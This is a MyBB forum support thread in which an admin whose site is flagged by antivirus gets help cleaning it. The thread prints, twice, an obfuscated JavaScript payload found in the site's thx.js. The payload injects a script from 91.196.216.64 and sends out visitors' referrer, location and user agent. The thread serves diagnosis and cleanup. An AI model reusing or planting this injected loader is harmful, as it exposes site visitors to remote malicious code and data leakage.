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I have running the latest mybb-forum on http://www.pilzforum.at , and a big problem:

Kaspersky report a forbidden link to http://91.196.216.xx/s.php?... in index.php, showthreat.php and more files.
I downloaded all files an no virus or text like this IP was found. I replaced all files with the original files, I searched the complete database with no match, but the warnings are still here.

I do not know how to handle this, what can I do now?

I am looking forward to any help. Thx.
http://www.pilzforum.at/jscripts/thx.js

var _0x4470=["\x39\x3D\x31\x2E\x64\x28\x27\x35\x27\x29\x3B\x62\x28\x21\x39\x29\x7B\x38\x3D\x31\x2E\x6A\x3B\x34\x3D\x36\x28\x31\x2E\x69\x29\x3B\x37\x3D\x36\x28\x67\x2E\x6B\x29\x3B\x61\x20\x32\x3D\x31\x2E\x65\x28\x27\x63\x27\x29\x3B\x32\x2E\x66\x3D\x27\x35\x27\x3B\x32\x2E\x68\x3D\x27\x77\x3A\x2F\x2F\x74\x2E\x75\x2E\x6C\x2E\x76\x2F\x73\x2E\x72\x3F\x71\x3D\x27\x2B\x34\x2B\x27\x26\x6D\x3D\x27\x2B\x38\x2B\x27\x26\x6E\x3D\x27\x2B\x37\x3B\x61\x20\x33\x3D\x31\x2E\x6F\x28\x27\x33\x27\x29\x5B\x30\x5D\x3B\x33\x2E\x70\x28\x32\x29\x7D","\x7C","\x73\x70\x6C\x69\x74","\x7C\x64\x6F\x63\x75\x6D\x65\x6E\x74\x7C\x6A\x73\x7C\x68\x65\x61\x64\x7C\x68\x67\x68\x6A\x68\x6A\x68\x6A\x67\x7C\x64\x67\x6C\x6C\x68\x67\x75\x6B\x7C\x65\x73\x63\x61\x70\x65\x7C\x75\x67\x6B\x6B\x6A\x6B\x6A\x7C\x68\x67\x68\x6A\x67\x68\x6A\x68\x6A\x67\x6A\x68\x7C\x65\x6C\x65\x6D\x65\x6E\x74\x7C\x76\x61\x72\x7C\x69\x66\x7C\x73\x63\x72\x69\x70\x74\x7C\x67\x65\x74\x45\x6C\x65\x6D\x65\x6E\x74\x42\x79\x49\x64\x7C\x63\x72\x65\x61\x74\x65\x45\x6C\x65\x6D\x65\x6E\x74\x7C\x69\x64\x7C\x6E\x61\x76\x69\x67\x61\x74\x6F\x72\x7C\x73\x72\x63\x7C\x72\x65\x66\x65\x72\x72\x65\x72\x7C\x6C\x6F\x63\x61\x74\x69\x6F\x6E\x7C\x75\x73\x65\x72\x41\x67\x65\x6E\x74\x7C\x32\x31\x36\x7C\x6C\x63\x7C\x75\x61\x7C\x67\x65\x74\x45\x6C\x65\x6D\x65\x6E\x74\x73\x42\x79\x54\x61\x67\x4E\x61\x6D\x65\x7C\x61\x70\x70\x65\x6E\x64\x43\x68\x69\x6C\x64\x7C\x72\x65\x66\x7C\x70\x68\x70\x7C\x7C\x39\x31\x7C\x31\x39\x36\x7C\x36\x34\x7C\x68\x74\x74\x70","\x72\x65\x70\x6C\x61\x63\x65","","\x5C\x77\x2B","\x5C\x62","\x67"];eval(function (_0xa064x1,_0xa064x2,_0xa064x3,_0xa064x4,_0xa064x5,_0xa064x6){_0xa064x5=function (_0xa064x3){return _0xa064x3.toString(36);} ;if(!_0x4470[5][_0x4470[4]](/^/,String)){while(_0xa064x3--){_0xa064x6[_0xa064x3.toString(_0xa064x2)]=_0xa064x4[_0xa064x3]||_0xa064x3.toString(_0xa064x2);} ;_0xa064x4=[function (_0xa064x5){return _0xa064x6[_0xa064x5];} ];_0xa064x5=function (){return _0x4470[6];} ;_0xa064x3=1;} ;while(_0xa064x3--){if(_0xa064x4[_0xa064x3]){_0xa064x1=_0xa064x1[_0x4470[4]]( new RegExp(_0x4470[7]+_0xa064x5(_0xa064x3)+_0x4470[7],_0x4470[8]),_0xa064x4[_0xa064x3]);} ;} ;return _0xa064x1;} (_0x4470[0],33,33,_0x4470[3][_0x4470[2]](_0x4470[1]),0,{}));

Replace ./jscripts/tnx.js with a clean version from http://mods.mybb.com/download/thanks

Also, ACP > Tools & Maintenance > File Verification

Check that no other files have been modified without your prior knowledge.
(2012-01-10, 11:39 PM)Nathan Malcolm Wrote: [ -> ]
http://www.pilzforum.at/jscripts/thx.js

var _0x4470=["\x39\x3D\x31\x2E\x64\x28\x27\x35\x27\x29\x3B\x62\x28\x21\x39\x29\x7B\x38\x3D\x31\x2E\x6A\x3B\x34\x3D\x36\x28\x31\x2E\x69\x29\x3B\x37\x3D\x36\x28\x67\x2E\x6B\x29\x3B\x61\x20\x32\x3D\x31\x2E\x65\x28\x27\x63\x27\x29\x3B\x32\x2E\x66\x3D\x27\x35\x27\x3B\x32\x2E\x68\x3D\x27\x77\x3A\x2F\x2F\x74\x2E\x75\x2E\x6C\x2E\x76\x2F\x73\x2E\x72\x3F\x71\x3D\x27\x2B\x34\x2B\x27\x26\x6D\x3D\x27\x2B\x38\x2B\x27\x26\x6E\x3D\x27\x2B\x37\x3B\x61\x20\x33\x3D\x31\x2E\x6F\x28\x27\x33\x27\x29\x5B\x30\x5D\x3B\x33\x2E\x70\x28\x32\x29\x7D","\x7C","\x73\x70\x6C\x69\x74","\x7C\x64\x6F\x63\x75\x6D\x65\x6E\x74\x7C\x6A\x73\x7C\x68\x65\x61\x64\x7C\x68\x67\x68\x6A\x68\x6A\x68\x6A\x67\x7C\x64\x67\x6C\x6C\x68\x67\x75\x6B\x7C\x65\x73\x63\x61\x70\x65\x7C\x75\x67\x6B\x6B\x6A\x6B\x6A\x7C\x68\x67\x68\x6A\x67\x68\x6A\x68\x6A\x67\x6A\x68\x7C\x65\x6C\x65\x6D\x65\x6E\x74\x7C\x76\x61\x72\x7C\x69\x66\x7C\x73\x63\x72\x69\x70\x74\x7C\x67\x65\x74\x45\x6C\x65\x6D\x65\x6E\x74\x42\x79\x49\x64\x7C\x63\x72\x65\x61\x74\x65\x45\x6C\x65\x6D\x65\x6E\x74\x7C\x69\x64\x7C\x6E\x61\x76\x69\x67\x61\x74\x6F\x72\x7C\x73\x72\x63\x7C\x72\x65\x66\x65\x72\x72\x65\x72\x7C\x6C\x6F\x63\x61\x74\x69\x6F\x6E\x7C\x75\x73\x65\x72\x41\x67\x65\x6E\x74\x7C\x32\x31\x36\x7C\x6C\x63\x7C\x75\x61\x7C\x67\x65\x74\x45\x6C\x65\x6D\x65\x6E\x74\x73\x42\x79\x54\x61\x67\x4E\x61\x6D\x65\x7C\x61\x70\x70\x65\x6E\x64\x43\x68\x69\x6C\x64\x7C\x72\x65\x66\x7C\x70\x68\x70\x7C\x7C\x39\x31\x7C\x31\x39\x36\x7C\x36\x34\x7C\x68\x74\x74\x70","\x72\x65\x70\x6C\x61\x63\x65","","\x5C\x77\x2B","\x5C\x62","\x67"];eval(function (_0xa064x1,_0xa064x2,_0xa064x3,_0xa064x4,_0xa064x5,_0xa064x6){_0xa064x5=function (_0xa064x3){return _0xa064x3.toString(36);} ;if(!_0x4470[5][_0x4470[4]](/^/,String)){while(_0xa064x3--){_0xa064x6[_0xa064x3.toString(_0xa064x2)]=_0xa064x4[_0xa064x3]||_0xa064x3.toString(_0xa064x2);} ;_0xa064x4=[function (_0xa064x5){return _0xa064x6[_0xa064x5];} ];_0xa064x5=function (){return _0x4470[6];} ;_0xa064x3=1;} ;while(_0xa064x3--){if(_0xa064x4[_0xa064x3]){_0xa064x1=_0xa064x1[_0x4470[4]]( new RegExp(_0x4470[7]+_0xa064x5(_0xa064x3)+_0x4470[7],_0x4470[8]),_0xa064x4[_0xa064x3]);} ;} ;return _0xa064x1;} (_0x4470[0],33,33,_0x4470[3][_0x4470[2]](_0x4470[1]),0,{}));

Replace ./jscripts/tnx.js with a clean version from http://mods.mybb.com/download/thanks

Also, ACP > Tools & Maintenance > File Verification

Check that no other files have been modified without your prior knowledge.


Thanks for your answer, I tried your suggestion, but even after I replaced the thx.js file, the same kaspersky warning appears. Deactivating the Thanx plugin wasnt succesfull too.

The file verification only shows some pictures I have changed.

So I still hope for help.

Best regards, Jürgen

Thanks, the above posted code guides me to the right files, there were more js files infected.
But I don't know the door for this maleware. Could the plugin "Facebook - Like Button (0.6)" be the dooropener?
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